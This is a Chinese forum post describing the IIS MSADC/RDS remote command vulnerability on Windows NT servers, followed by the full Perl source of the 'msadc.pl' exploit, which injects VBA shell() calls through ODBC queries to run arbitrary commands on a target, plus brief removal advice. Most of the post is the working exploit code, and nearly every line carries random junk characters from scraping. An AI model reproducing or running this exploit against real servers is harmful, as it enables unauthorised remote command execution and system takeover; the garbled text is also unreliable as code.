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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) *]HnFP  
_p4]\LA  
涉及程序: <A=1]'1\r  
Microsoft NT server &*" *b\  
LA_{[VWYp>  
描述: Uc:NW   
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 e(/F:ZEh  
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详细: b4dviYI  
如果你没有时间读详细内容的话,就删除: <-?C\c~G@  
c:\Program Files\Common Files\System\Msadc\msadcs.dll l 3p :}A  
有关的安全问题就没有了。 3s?u05_  
NW5OLa")J<  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Q;VuoHj!  
o/7u7BQl2  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Le?g ,c  
关于利用ODBC远程漏洞的描述,请参看: >Y8\f:KQ  
uarfH]T{  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm xE@/8h  
So!=uYX  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 2`riI*fQ  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp TMMJ5\t2  
;$&\ :-6A#  
这里不再论述。 XEA5A.uc  
cQhr{W,Un  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: v]{UH {6  
k*)sz  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset YhV<.2^k  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! w -o#=R_  
'o}[9ZBjn  
{*B0lr`  
#将下面这段保存为txt文件,然后: "perl -x 文件名" C^L xuUW  
wjl)yo$z  
#!perl Q*T 'tkp  
# ,\v'%,:C  
# MSADC/RDS 'usage' (aka exploit) script D {Ol8:  
# l[:Aq&[o3  
# by rain.forest.puppy & V>rq'~;  
# 1}a4AGAp  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me (&eF E;c  
# beta test and find errors! t}_ #N'`  
Godrz*"  
use Socket; use Getopt::Std; =W3 K6w  
getopts("e:vd:h:XR", \%args); Dj96t5R  
)%Fwfb  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; LE<J<~2Z  
24#qg '  
if (!defined $args{h} && !defined $args{R}) { L>~Tc  
print qq~ )L:e0u  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 1X5g(B  
-h <host> = host you want to scan (ip or domain)  <EU R:  
-d <seconds> = delay between calls, default 1 second ^C'0Y.H S  
-X = dump Index Server path table, if available :+Ukwno?/  
-v = verbose SdYf^@%}F  
-e = external dictionary file for step 5 =${.*,o  
Qh&Qsyo%  
Or a -R will resume a command session TC/c5:)]  
A_9^S!  
~; exit;} )  FR7t  
c$ZV vu  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; =^u;uS[IW  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} J;obh.}u"{  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} dW4jkjap  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); [y@*vQw  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} a,vS{434J  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ZEI,9`t!  
Q"qI'*Kgt  
if (!defined $args{R}){ $ret = &has_msadc;  viAAb  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} l{Df{1b.  
L_!ShE  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" oVy{~D=  
. "cmd /c "; O<cP1TF  
$in=<STDIN>; chomp $in; ;`#R9\C=h  
$command="cmd /c " . $in ; ;Z{D@g+  
swF{}S"  
if (defined $args{R}) {&load; exit;} t 6nRg  
VdK%m`;2  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; x>[]Qk^?q  
&try_btcustmr; tsc `u>  
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print "\nStep 2: Trying to make our own DSN..."; Y'|,vG  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; GHGyeqNM  
iwJ_~   
print "\nStep 3: Trying known DSNs..."; !G;u )7'v  
&known_dsn; {o24A: M  
^-Od*DTL  
print "\nStep 4: Trying known .mdbs..."; qazA,|L!  
&known_mdb; +\Vm t[v  
7l69SQo]?  
if (defined $args{e}){ 3{3@>8{w  
print "\nStep 5: Trying dictionary of DSN names..."; TsTc3  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } b4_0XmL  
|[>@Kk4  
print "Sorry Charley...maybe next time?\n"; \2s`mCY  
exit; [Iks8ZWr_  
O6;"cUv  
############################################################################## tON>wmN  
pIlEoG=[_  
sub sendraw { # ripped and modded from whisker a<G&}|6  
sleep($delay); # it's a DoS on the server! At least on mine... LQR2T5S/Q,  
my ($pstr)=@_; ~(d {j}M>  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || F]3Y,{/V  
die("Socket problems\n"); s7Agr!>f  
if(connect(S,pack "SnA4x8",2,80,$target)){ BNK]Os  
select(S); $|=1; nzflUR{`-  
print $pstr; my @in=<S>; zi-_l  
select(STDOUT); close(S); #Lhv=0op  
return @in; Ki;SONSV~|  
} else { die("Can't connect...\n"); }} -x//@8"   
92DM1~ *  
############################################################################## ss)x fG  
dDPQDIx  
sub make_header { # make the HTTP request _B^zm-}8|B  
my $msadc=<<EOT OjUPvR2 0  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1  `t U  
User-Agent: ACTIVEDATA p u(mHB  
Host: $ip lME>U_E  
Content-Length: $clen T0w_d_aS  
Connection: Keep-Alive &$ h~Q  
x z _sejKB  
ADCClientVersion:01.06 hN-@_XSw<I  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Py)ZHML  
A8Ju+  
--!ADM!ROX!YOUR!WORLD! glMHT,  
Content-Type: application/x-varg ,L/x\_28  
Content-Length: $reqlen |u&cN-}C d  
P3_.U8g$r  
EOT H -kX-7C  
; $msadc=~s/\n/\r\n/g; OBWWcL-  
return $msadc;} Y 2 @8B6  
Pv'Q3O2<I  
############################################################################## /5ZX6YkeH  
USBQEt  
sub make_req { # make the RDS request L!fTYX#K]  
my ($switch, $p1, $p2)=@_; ote,`h  
my $req=""; my $t1, $t2, $query, $dsn; Wgwd?@uK  
jo`ZuN{  
if ($switch==1){ # this is the btcustmr.mdb query _VrY7Mz:r  
$query="Select * from Customers where City=" . make_shell(); x)::^'74  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . g@`i7qN  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ":Dm/g  
iQ)ydY a  
elsif ($switch==2){ # this is general make table query ;m(iKwDt  
$query="create table AZZ (B int, C varchar(10))"; sl]< A[jR  
$dsn="$p1";} E#k{<LYI  
4_R|3L  
elsif ($switch==3){ # this is general exploit table query x|6]+?l@6  
$query="select * from AZZ where C=" . make_shell(); -R`{]7V  
$dsn="$p1";} <g[z jV9p  
%nZl`<M  
elsif ($switch==4){ # attempt to hork file info from index server Z?axrGmg0  
$query="select path from scope()"; hS]w A"\87  
$dsn="Provider=MSIDXS;";} ~G!JqdKJ0  
YlHP:ZW-cu  
elsif ($switch==5){ # bad query WK>F0xMs1  
$query="select"; A lU^ ,X  
$dsn="$p1";} ,;)ZF  
J Wn26,  
$t1= make_unicode($query); fvkcJwkc  
$t2= make_unicode($dsn); Mbi]EZ  
$req = "\x02\x00\x03\x00";  ?%,NOX  
$req.= "\x08\x00" . pack ("S1", length($t1)); *G19fJ[5  
$req.= "\x00\x00" . $t1 ; = S&`~+  
$req.= "\x08\x00" . pack ("S1", length($t2)); C?<pD+]b_  
$req.= "\x00\x00" . $t2 ; Q.mJ7T~T  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; f O*jCl  
return $req;} q-F K=r 5  
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############################################################################## d!,t_jM0  
U.7fMc#  
sub make_shell { # this makes the shell() statement O `}EiyV  
return "'|shell(\"$command\")|'";} O*EV~ {K  
aLO^>",  
############################################################################## AJPvwu}D  
;P@]7vkff  
sub make_unicode { # quick little function to convert to unicode b9.M'P\  
my ($in)=@_; my $out; 5~*)3z^V  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } pCIzpEsRs  
return $out;} %$!3Pbu i  
t^rw@$"}  
############################################################################## ?"B] "%M&  
,lyW'<~gA  
sub rdo_success { # checks for RDO return success (this is kludge) xA] L0h]  
my (@in) = @_; my $base=content_start(@in); ]?Ef0?44  
if($in[$base]=~/multipart\/mixed/){ &gXh:.  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 4QL>LK  
return 0;} R@vcS=m7  
%Sr+D{B  
############################################################################## 7},A. q  
=CX1jrLZ  
sub make_dsn { # this makes a DSN for us ^kez]>   
my @drives=("c","d","e","f"); rd%%NnT"  
print "\nMaking DSN: "; )#=J<OpG  
foreach $drive (@drives) { ]\$/:f-2  
print "$drive: "; +# W94s~0V  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Gz[yD ~6a  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" aB9!}3@  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ud1M-lY\U  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; .Eao|;  
return 0 if $2 eq "404"; # not found/doesn't exist \CbJU  
if($2 eq "200") { UtZ,q!sg  
foreach $line (@results) { C-'hXh;hQ  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} {1W:@6tl  
} return 0;} ccD+AGM.  
g)D_  !iz  
############################################################################## KpLmpK1  
Ha'[uEDb  
sub verify_exists { yIMqQSt79z  
my ($page)=@_; .HqFdsm  
my @results=sendraw("GET $page HTTP/1.0\n\n"); WjV15\,  
return $results[0];} dUI5,3*  
'D\Q$q  
############################################################################## )Fw/Cu  
_X6'u J  
sub try_btcustmr { &p0e)o~Ux  
my @drives=("c","d","e","f"); K =g</@L6R  
my @dirs=("winnt","winnt35","winnt351","win","windows"); t}EM X9SQ  
qe~x?FO_>  
foreach $dir (@dirs) { wp[Ug2;G  
print "$dir -> "; # fun status so you can see progress $pGT1oF[E  
foreach $drive (@drives) {  6@S6E(^  
print "$drive: "; # ditto :2 ;Jo^6Se  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; KyvZ? R  
$reqlenlen=length( "$reqlen" ); Tb/TP3N  
$clen= 206 + $reqlenlen + $reqlen; Tkbao D  
I[ \~ pi,  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); UM}u(;oo%)  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} }pc9uvmIJ  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} O] _4pP  
=OVDJ0ozZ  
############################################################################## G#M)5'Q]U  
 C0rf  
sub odbc_error { !40>LpL[  
my (@in)=@_; my $base; /zn=AAYb  
my $base = content_start(@in); d[ N1zQW  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ~%TWF+  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; nla6QlFYn*  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; [}RoZB&I  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; GK(CuwJe  
return $in[$base+4].$in[$base+5].$in[$base+6];} 9>""xt  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 6_LeP9s )  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 2Xb, i  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 6% D9;-N)  
" qI99e  
############################################################################## ^)VwxH:s  
:|7#D,2  
sub verbose { '`];=QY9pg  
my ($in)=@_; H=r-f@EOrI  
return if !$verbose; t>"%exdoZ  
print STDOUT "\n$in\n";} l6viP}R  
2h E(h  
############################################################################## Ia&R/I  
Uv^\[   
sub save { 2|1fb-AR  
my ($p1, $p2, $p3, $p4)=@_; 1v o)]ff  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; azcPeAe  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; +2tQ FV;  
close OUT;} ==[,;g x  
+^)v"@,VP  
############################################################################## /@os*c|je  
ON?Y Df  
sub load { D$>_W,*V  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; jYsAL=oh,*  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); c/{FDN  
@p=<IN>; close(IN); XQ}Zr/f6  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Fsx?(?tCMo  
$target= inet_aton($ip) || die("inet_aton problems"); |(7}0]BP0  
print "Resuming to $ip ..."; xQy,1f3s+  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ~j0rORy]  
if($p[1]==1) { 'J|2c;M\x  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ,Q`qnn&  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; %+7]/_JO&  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); So:X!ljN(e  
if (rdo_success(@results)){print "Success!\n";} >}5?`.K~Q*  
else { print "failed\n"; verbose(odbc_error(@results));}} X/!_>@`7?  
elsif ($p[1]==3){ xad`-vw  
if(run_query("$p[3]")){ Jh[0xb  
print "Success!\n";} else { print "failed\n"; }} Onmmcem  
elsif ($p[1]==4){ "fFSZ@,r  
if(run_query($drvst . "$p[3]")){ {(73*-~$  
print "Success!\n"; } else { print "failed\n"; }} }5o?7} ?  
exit;} 0.aXg"  
]rcF/uQJ<n  
############################################################################## i`,FXF)  
 ;C]Ufk  
sub create_table { ^?z%f_ri  
my ($in)=@_; 8hRcB[F~S  
$reqlen=length( make_req(2,$in,"") ) - 28; 1MelHW  
$reqlenlen=length( "$reqlen" ); f60w%  
$clen= 206 + $reqlenlen + $reqlen; Iv`IJQH>  
my @results=sendraw(make_header() . make_req(2,$in,"")); Io6/Fv>!  
return 1 if rdo_success(@results); _03?XUKV  
my $temp= odbc_error(@results); verbose($temp); 6iC>CY3CG  
return 1 if $temp=~/Table 'AZZ' already exists/; x)5}:b1B=  
return 0;} dZM^?rq  
oy+|:[v:Fk  
############################################################################## +2uSMr  
qA*~B'  
sub known_dsn { m 2H4V+M+  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go JJ.8V72;!Z  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 3f;=#|l  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", <,d550GSm  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 37AVk`a  
5>532X(0  
foreach $dSn (@dsns) { j;x()iZ<  
print "."; ez4!5&TzRm  
next if (!is_access("DSN=$dSn")); L"_X W no  
if(create_table("DSN=$dSn")){ J0G@]H  
print "$dSn successful\n"; A|A~$v("R  
if(run_query("DSN=$dSn")){ z^Q'GBoBA  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { [K{{P|(q  
print "Something's borked. Use verbose next time\n";}}} print "\n";} $-4](br|  
gesbt  
############################################################################## wjarQog5Y  
=u~nLL  
sub is_access { p6M9uu  
my ($in)=@_; WhPP4 #  
$reqlen=length( make_req(5,$in,"") ) - 28; tRjv  -  
$reqlenlen=length( "$reqlen" ); `y8pwWo-o  
$clen= 206 + $reqlenlen + $reqlen; _\!]MV  
my @results=sendraw(make_header() . make_req(5,$in,"")); \j8vf0c5b  
my $temp= odbc_error(@results); ]TV_ p[L0B  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); K`*GZ+b|`  
return 0;} r924!zdbR  
%L|fTndKH  
############################################################################## H R>Y?B{  
p8Vqy-:  
sub run_query { OvfluFu7  
my ($in)=@_; F!z0N&#  
$reqlen=length( make_req(3,$in,"") ) - 28; oqrx7 +0{  
$reqlenlen=length( "$reqlen" ); V^~RDOSy7n  
$clen= 206 + $reqlenlen + $reqlen; g?j)p y  
my @results=sendraw(make_header() . make_req(3,$in,"")); FaHOutP  
return 1 if rdo_success(@results); =~^b  
my $temp= odbc_error(@results); verbose($temp); =?sG~  
return 0;} /\J0)V  
@!ChPl  
############################################################################## c-Gp|.C  
-H| 9 82=  
sub known_mdb { .qBc;u  
my @drives=("c","d","e","f","g"); tr<~:&H4T  
my @dirs=("winnt","winnt35","winnt351","win","windows"); wmVmGa R  
my $dir, $drive, $mdb; Pk?$\  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; U S^% $Z:  
*yq65yZi5  
# this is sparse, because I don't know of many {q>%Sr]9  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 1\hLwG6Jj  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 0Tj,TF  
"\\system32\\certmdb.mdb", CTMC78=9}  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Nc[@QC{  
 A l[ZU  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", wO??"${OH  
"\\cfusion\\cfapps\\forums\\forums_.mdb", K:Z$V  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", Ds1h18  
"\\cfusion\\cfapps\\security\\realm_.mdb", *P mZqe  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", p1N}2]e  
"\\cfusion\\database\\cfexamples.mdb", %ms%0%  
"\\cfusion\\database\\cfsnippets.mdb", U-|]A\`)I  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ly0R'4j \  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ;hj lRQ\  
"\\cfusion\\brighttiger\\database\\cleam.mdb", F^Ut ZG+  
"\\cfusion\\database\\smpolicy.mdb", h5?^MRZS  
"\\cfusion\\database\cypress.mdb", T"wg/mT  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", mV0,T*}e  
"\\website\\cgi-win\\dbsample.mdb", Hv6h7-  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", IZVP-  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Z |$#  
); #these are just R%r bysP  
foreach $drive (@drives) { Tigw+2  
foreach $dir (@dirs){ 6St=r)_  
foreach $mdb (@sysmdbs) { >$Y/B=e  
print "."; 87 gk  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ X[Y0r  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; |}zWH=6  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ay"jWL-  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; {C |R@S  
} else { print "Something's borked. Use verbose next time\n"; }}}}} v,4{:y]p  
+C~h(  
foreach $drive (@drives) { *s6 x  
foreach $mdb (@mdbs) { zs$r>rlO  
print "."; $6"sRI6u  
if(create_table($drv . $drive . $dir . $mdb)){ 8/e-?2l  
print "\n" . $drive . $dir . $mdb . " successful\n"; EQ%ooAb8  
if(run_query($drv . $drive . $dir . $mdb)){ <G})$f'x2  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; wAh]C;+{  
} else { print "Something's borked. Use verbose next time\n"; }}}} zB.cOMx  
} LV}R 9f  
fA=Z):w  
############################################################################## 9QQ XB-  
Xv1vq -cM  
sub hork_idx { ,dC.|P' `  
print "\nAttempting to dump Index Server tables...\n"; x $uhkP  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 7# AIX],  
$reqlen=length( make_req(4,"","") ) - 28; i)#-VOhX)  
$reqlenlen=length( "$reqlen" ); Xhe& "rM  
$clen= 206 + $reqlenlen + $reqlen; Emlj,c<?j  
my @results=sendraw2(make_header() . make_req(4,"","")); *)m:u:   
if (rdo_success(@results)){ o78u>Oy  
my $max=@results; my $c; my %d; sn"((BsO<  
for($c=19; $c<$max; $c++){ Ny^ 1#R  
$results[$c]=~s/\x00//g; !73y(Y%TE  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; *g5bdQ:Av~  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; & ALnE:F  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; OG$n C  
$d{"$1$2"}="";}  "'4  
foreach $c (keys %d){ print "$c\n"; } j6%W+;{/pj  
} else {print "Index server doesn't seem to be installed.\n"; }} w8lrpbLh  
OP/DWf  
############################################################################## JFv70rBe  
SxF'2ii  
sub dsn_dict { 'LgRdtO6  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); A6(Do]M  
while(<IN>){ @O"7@%nu  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; zgD?e?yPO  
next if (!is_access("DSN=$dSn")); tN#C.M7.'7  
if(create_table("DSN=$dSn")){ C?qRZB+W#  
print "$dSn successful\n"; xG!~TQ  
if(run_query("DSN=$dSn")){ ^ `LqNG  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { P2n8HFi  
print "Something's borked. Use verbose next time\n";}}} cSL6V2F  
print "\n"; close(IN);} *\ii +f-  
I`_2Q:r  
############################################################################## (%_X{R'  
f:Pl Mv!{  
sub sendraw2 { # ripped and modded from whisker 8eqTA8$?  
sleep($delay); # it's a DoS on the server! At least on mine... rLTBBvV  
my ($pstr)=@_; ^4=#, K  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || rK gl:s j+  
die("Socket problems\n"); [O3:?BNY  
if(connect(S,pack "SnA4x8",2,80,$target)){ 9NTNulD>P  
print "Connected. Getting data"; kcS7)"/ zC  
open(OUT,">raw.out"); my @in; i1evB9FZ1z  
select(S); $|=1; print $pstr; $J1`.Q>)4  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} rHKO13WF  
close(OUT); select(STDOUT); close(S); return @in; ("U<@~  
} else { die("Can't connect...\n"); }} 1!uBzO6/$  
(xgw';g  
############################################################################## ?]><#[?'L  
]>M\|,wh  
sub content_start { # this will take in the server headers E &9<JS  
my (@in)=@_; my $c; ,Zmjw@ w  
for ($c=1;$c<500;$c++) { )N 3^r>(e<  
if($in[$c] =~/^\x0d\x0a/){ TcZ.5Oe6h#  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } >pu4G+M  
else { return $c+1; }}} /3s&??{tv  
return -1;} # it should never get here actually T0 K!Msz  
,I"T9k-^  
############################################################################## B:h<iU:'D  
Kq[4I[+R  
sub funky { kZe<<iv  
my (@in)=@_; my $error=odbc_error(@in); <7P[)X_  
if($error=~/ADO could not find the specified provider/){ b8K]>yDAh  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ^J]&($-  
exit;} `W86]ut[  
if($error=~/A Handler is required/){ : UeK0  
print "\nServer has custom handler filters (they most likely are patched)\n"; s)Y1%#  
exit;} { Zgd  
if($error=~/specified Handler has denied Access/){ Snk+ZQ-  
print "\nServer has custom handler filters (they most likely are patched)\n"; $w(RJ/  
exit;}} ?R]`M_^&u!  
9a*#r;R  
############################################################################## ^kfqw0!  
5W)ST&YPL*  
sub has_msadc { Kk^*#vR  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); K]|UdNo  
my $base=content_start(@results); j(%N.f6  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); evZcoH3~  
return 0;} }Xj25` x  
,X4b~)  
######################## _(-jk4 L  
<WP@q&^k\  
5x+]uABE  
解决方案: #@FA=p[%  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll z Rna=h!  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 K/W=r  
EHUx~Q   
拿出来充数 哈哈
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